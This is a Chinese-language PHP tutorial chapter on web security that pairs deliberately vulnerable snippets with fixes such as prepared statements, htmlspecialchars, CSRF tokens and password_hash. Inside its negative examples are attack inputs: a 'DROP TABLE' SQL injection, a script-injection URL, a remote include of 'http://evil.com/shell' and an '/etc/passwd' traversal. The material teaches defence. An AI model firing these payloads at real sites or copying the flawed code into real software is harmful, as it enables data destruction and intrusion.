PHP 安全实践
这是本系列最重要的一章。Web 应用面临各种攻击:SQL 注入、XSS、CSRF、密码破解、文件包含……历史上无数严重数据泄露都源于忽略基础安全。好消息是:PHP 内置了所有防御工具,只要养成几个习惯,就能挡住 95% 的攻击。
1. 安全第一定律
永远不要相信用户输入。
这是 Web 安全的总纲。所有来自用户的数据($_GET、$_POST、$_COOKIE、$_FILES、$_SERVER 里的部分)都要当作污染的。在使用之前必须校验、过滤、转义。下面把 OWASP Top 10 里 PHP 项目最常见的威胁逐个讲清楚。
2. SQL 注入(头号威胁)
SQL 注入是攻击者通过构造恶意输入改变 SQL 语义,从而读取/修改/删除数据库。这是 PHP 项目历史上最严重、最频繁的漏洞:
<?php
// ❌ SQL 注入漏洞(反面教材!)
$id = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = " . $id;
$pdo->query($sql);
// 攻击者构造 URL: page.php?id=1 OR 1=1
// 实际 SQL: SELECT * FROM users WHERE id = 1 OR 1=1
// 结果:所有用户数据都被读取!
// 更严重的攻击:page.php?id=1; DROP TABLE users--
// 实际 SQL: SELECT * FROM users WHERE id = 1; DROP TABLE users--
// 表被删了!
// ✅ 正确做法:PDO 预处理(永远!)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();
// 预处理让 SQL 结构和数据彻底分离,参数自动转义,无法注入防御铁律:永远用 PDO 预处理。详见第 14 章。预处理让 SQL 结构和数据彻底分离,从根本上不可能注入。无论参数看起来多安全,都不要拼 SQL——这是无数血泪教训。
3. XSS(跨站脚本攻击)
XSS 是攻击者把恶意 JavaScript 注入到你的网页,在其他用户浏览器执行——偷 Cookie、改页面、钓鱼。这是 PHP 项目第二常见的漏洞:
<?php
// ❌ XSS 漏洞(直接输出用户输入)
echo $_GET["name"];
// 攻击者构造 URL: page.php?name=<script>steal()</script>
// 浏览器会执行这段 JS,偷 Cookie / 改页面 / 钓鱼
// ✅ 正确做法:输出到 HTML 用 htmlspecialchars
echo htmlspecialchars($_GET["name"]);
// <script> 变 <script>,浏览器显示成文本,不执行
// htmlspecialchars 默认只转 4 个字符:
// < > & " (默认)
// 加 ENT_QUOTES 让 ' 也转义(更安全)
echo htmlspecialchars($input, ENT_QUOTES, "UTF-8");
// 不同输出位置需要不同转义:
// HTML 文本: htmlspecialchars
// HTML 属性: htmlspecialchars + 必须加引号
// JavaScript: json_encode($data, JSON_HEX_TAG)
// URL: rawurlencode防御要点:
- 输出到 HTML 用 htmlspecialchars——这是核心防御,每次输出用户数据都要做。
- 不同位置用不同转义:HTML 文本、HTML 属性、JS、URL 各有专门函数。
- Content-Security-Policy(CSP)header:纵深防御,即使漏转义也能阻止 inline JS。
- httponly Cookie:即使有 XSS 也偷不到 session(详见第 12 章)。
4. CSRF(跨站请求伪造)
CSRF 是攻击者诱导已登录用户在不知情下执行操作——比如点一个链接就把钱转走:
<?php
// CSRF(跨站请求伪造):攻击者诱导用户在已登录网站执行操作
// ❌ 漏洞:GET 请求改数据
// <a href="/delete.php?id=1">删除</a>
// 用户被诱导访问恶意页面:
// <img src="https://yoursite.com/delete.php?id=1">
// ✅ 防御:POST + CSRF Token
session_start();
// 1. 生成 token(每个 session 一个或每个表单一个)
if (empty($_SESSION["csrf_token"])) {
$_SESSION["csrf_token"] = bin2hex(random_bytes(32));
}
$token = $_SESSION["csrf_token"];
// 2. 表单里放 token
// <input type="hidden" name="csrf" value="<?= htmlspecialchars($token) ?>">
// 3. 提交时校验
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$sent = $_POST["csrf"] ?? "";
if (!hash_equals($_SESSION["csrf_token"], $sent)) {
die("CSRF 校验失败");
}
// 处理请求...
}
// hash_equals 是恒定时间比较,防止时序攻击
// 框架(Laravel/Symfony)都内置 CSRF 中间件防御要点:
- POST + CSRF Token:每个表单一个随机 token,提交时校验。
- SameSite Cookie:PHP 7.3+ 起设置
samesite=Lax或Strict,从源头阻止跨站 Cookie 发送。 - 敏感操作要求二次确认:大额转账要再输密码或短信验证。
- 不要用 GET 改数据:GET 请求被
<img src>就能触发。
5. 密码哈希(必须!)
明文存密码是不可饶恕的错误——数据库一旦泄露,所有用户密码暴露,而很多人多网站用同一密码,后果是连锁灾难:
<?php
// ❌ 绝不明文存密码!
// INSERT INTO users (password) VALUES ("123456")
// ❌ 不要用 md5 / sha1(已被攻破,可彩虹表)
// md5($password); // 弱
// sha1($password); // 弱
// ✅ 用 password_hash(PHP 内置,自动加盐)
$hash = password_hash("mypassword", PASSWORD_DEFAULT);
// $2y$10$xxxxx... (bcrypt 哈希,每次结果不同)
// 存储:把 $hash 存进数据库 varchar(255) 字段
// 验证:用 password_verify(不是 ==)
if (password_verify($input, $hash)) {
echo "密码正确";
}
// 升级哈希(算法过时自动重新哈希)
if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
$newHash = password_hash($input, PASSWORD_DEFAULT);
// 更新数据库
}
// 密码策略建议:
// - 最少 8 位,建议 12 位以上
// - 不限制字符种类(强制大小写数字反而促使弱密码)
// - 推荐用密码管理器或 passkey
// - 不要自己发明算法,永远用 password_hash核心 API:
- password_hash:存密码时调用,用 bcrypt(默认)/argon2 算法,自动加盐。
- password_verify:登录时校验,内部处理所有细节。
- password_needs_rehash:算法升级时自动迁移。
- 绝对不要用 md5、sha1,它们已被证明不安全。
- 不要自己发明算法——用 PHP 内置的就是最佳实践。
6. 文件包含漏洞
用 include / require 时如果路径含用户输入,攻击者可能包含任意文件(甚至远程代码):
<?php
// ❌ 文件包含漏洞
$page = $_GET["page"];
include $page . ".php";
// 攻击者: page.php?page=http://evil.com/shell
// 或: page.php?page=../../etc/passwd%00
// ✅ 白名单
$allowed = ["home", "about", "contact"];
$page = $_GET["page"] ?? "home";
if (!in_array($page, $allowed, true)) {
$page = "home";
}
include __DIR__ . "/pages/" . $page . ".php";
// 永远不要让用户输入控制 include 路径
// 永远不要 allow_url_include = On防御要点:
- 白名单:用户能选的页面就那么几个,显式列出。
- 关闭 allow_url_include(php.ini 默认就关)。
- 路径检查:用 realpath + str_starts_with 防目录穿越。
7. 敏感信息保护
<?php
// ❌ 不要把密码硬编码或提交到 git
// $pass = "mysql_root_123"; // 提交到 git 就完了
// ✅ 用环境变量(.env 文件 + 不提交)
$pass = getenv("DB_PASSWORD");
// 或 $_ENV["DB_PASSWORD"]
// .env 文件(加入 .gitignore):
// DB_HOST=localhost
// DB_PASSWORD=your_secret
// 用 vlucas/phpdotenv 库加载
// ✅ 配置文件放 web 根外
// /var/www/config.php ✓(不可被 URL 访问)
// /var/www/public/config.php ✗(可被 https://site/config.php 访问)
// ✅ 错误信息不要泄露给用户
// 开发环境: display_errors = On
// 生产环境: display_errors = Off + 记录日志
ini_set("display_errors", "0");
ini_set("log_errors", "1");- 密码、API key、密钥:用环境变量,绝不提交到 git。
- 配置文件放 web 根外:不能被 https:// 直接访问。
- 生产环境关闭 display_errors:错误信息会泄露表名、文件路径、SQL。
- .gitignore 里加 .env、config.local.php 等。
- git 历史不小心提交的密码要强制轮换——光删除文件不够,历史还在。
8. 其他常见威胁
- 命令注入:用
system()/exec()时参数含用户输入。防御:用 escapeshellarg,优先用 PHP 原生函数替代 shell 命令。 - 不安全的反序列化:
unserialize()用户数据可触发对象注入。防御:用json_decode。 - 会话固定:登录后立即
session_regenerate_id(true)(详见第 12 章)。 - 暴力破解:登录接口加速率限制(如 1 分钟最多 5 次)。
- HTTPS:全站强制 HTTPS,用 HSTS header。
- X-Frame-Options:防点击劫持(clickjacking)。
9. 用框架可以省 90% 心
纯 PHP 写小项目可以,但正式项目请用框架。Laravel / Symfony 默认就内置了上述所有防御:
- ORM 自动用预处理(防 SQL 注入)。
- 模板引擎自动转义(防 XSS)。
- 表单自动加 CSRF token。
- 提供成熟的认证、授权、速率限制组件。
- 安全漏洞会及时修复,跟着升级就行。
本系列学的 PHP 基础在框架里全部适用——框架只是把这些基础知识组织成更好的工程结构。先打好基础,再上框架。
10. 安全检查清单
- 所有 SQL 用 PDO 预处理(不拼 SQL)。
- 所有输出到 HTML 的用户数据用 htmlspecialchars。
- 所有表单加 CSRF token,POST 提交。
- 密码用 password_hash / password_verify。
- 文件上传做完整校验(详见第 15 章)。
- 配置和密钥用环境变量,不进 git。
- 生产关闭 display_errors,记录日志。
- 登录后 session_regenerate_id(true)。
- 全站 HTTPS + HSTS + 安全 Cookie 属性。
- 保持 PHP 和依赖升级,关注 CVE。
小结
恭喜完成全部 16 章 PHP 教程!这一章你掌握了 Web 安全的核心:SQL 注入、XSS、CSRF、密码哈希、文件包含、敏感信息——把这些变成肌肉记忆,你写的 PHP 应用就能挡住绝大多数攻击。下一步建议:学一个框架(Laravel 推荐)、做完整项目(博客、商城、API)、读 OWASP 官方文档深入。PHP 能让你最快把网站做出来并部署上线——找一个想法,把它变成产品吧。
← 上一篇 PHP 文件上传
← 返回 PHP 教程目录